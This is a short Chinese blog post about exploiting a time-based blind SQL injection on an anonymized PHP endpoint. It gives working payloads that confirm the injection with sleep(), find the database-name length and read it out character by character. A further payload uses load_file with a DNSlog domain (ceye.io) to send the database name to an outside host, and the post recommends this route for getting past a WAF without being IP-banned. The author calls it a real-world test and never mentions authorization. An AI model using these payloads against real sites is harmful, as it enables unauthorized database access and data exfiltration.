下你所需,载你所想!
IT技术源码资料下载网站

漏洞验证基于时间的SQL注入之盲注

:其他软件 2019-08-26 21:25:45

记录一次基于时间的SQL注入之盲注

漏洞验证
       根据AWVS的payload在火狐里面测试了一波,确实存在注入:
payload:
http://xxx.xxx.xxxx/aaa/bbb/ccc/ddd/insert.php?dept=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

改变payload判断数据库名长度:
http://xxx.xxx.xxxx/aaa/bbb/ccc/ddd//insert.php?dept=0'XOR(if(length(database())=8,sleep(5),0))XOR'q

       这里解释一下,第一个payload,是AWVS给出的测试payload,当你改变sleep()的时间,响应的时间也会改变,这一句if(now()=sysdate(),sleep(0),0)的意思是,如果当前时间等于系统时间,则马上执行,否则输出0,也就是无结果,当我们改变这个sleep()的时间长短时,这个执行时间也会跟着改变,比如改为if(now()=sysdate(),sleep(5),0)也就是延迟5秒执行。所以,我们可以以此判断出这个基于时间的盲注是存在的。接着第二个payload意思就更加明显了。也就是当数据库名长度等于8的时候,延迟5秒执行,刚好这里我测试出来就是8,下一步就是判断数据库名字了。

补充一个重点
       上面有个重点讲掉了,sleep()这个函数在数据库中,如果查询语句不成立的话,它就会马上返回结果,不加以执行,但是如果查询语句成立,这个sleep()延时函数才生效,如果前面的查询语句不成立或者所查询的数据没有,那么这个sleep()函数就不会执行,直接返回结果。所以这个sleep()函数在payload中和前面的查询语句相当于一个and的关系,也可以理解为if()这个判断,判断前面的查询语句成立,执行延迟,否则直接返回结果。还有一点就是,基于时间的盲注或者是基于布尔的盲注在页面上面看起来是没有任何变化的,只有根据时间的延迟和返回页面的正常不正常来判断。(此段补充,老鸟直接略过。。。。。。。。)

判断数据库名
       直接上payload:

http://xxx.xxx.xxxx/aaa/bbb/ccc/ddd//insert.php?dept=0'XOR(if(ascii(substr(database(),1,1))=119,sleep(5),0))XOR'q

这里面的ascii(substr(database(),1,1))=119的意思是,判断数据库名字的第一个字母是不是为ascii表里的119也就是w,这里判断出来刚好是,延迟了五秒执行。同样的道理,一步步慢慢判断。当然,到这里我们已经可以证明存在基于时间的sql盲注了,直接用工具获取数据库名,我这里用到的是DNSlog来获取的,原因是因为这个网站存在waf,一直测试下去可能会封你的IP,但是DNSlog可以理解为一个IP代理池,也就是DNSlog注入。有一个免费的DNSlog平台,用telnet404账号登录:http://ceye.io/
注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来
记录一次基于时间的SQL注入之盲注
然后再构造一个payload获取数据库名:

http://xxx.xxx.xxxx/aaa/bbb/ccc/ddd//insert.php?dept=0'XOR(select load_file(concat('\\',(select database()),'.xxx.ceye.io\abc')))XOR'q

如图所示:
记录一次基于时间的SQL注入之盲注
总结
       很多时候,其实漏洞就在那里摆着,只是自己姿势不够而已,本文也只是自己在记载实战过程中遇到的问题和与同事沟通请教后的获得,记录一下,老鸟略过。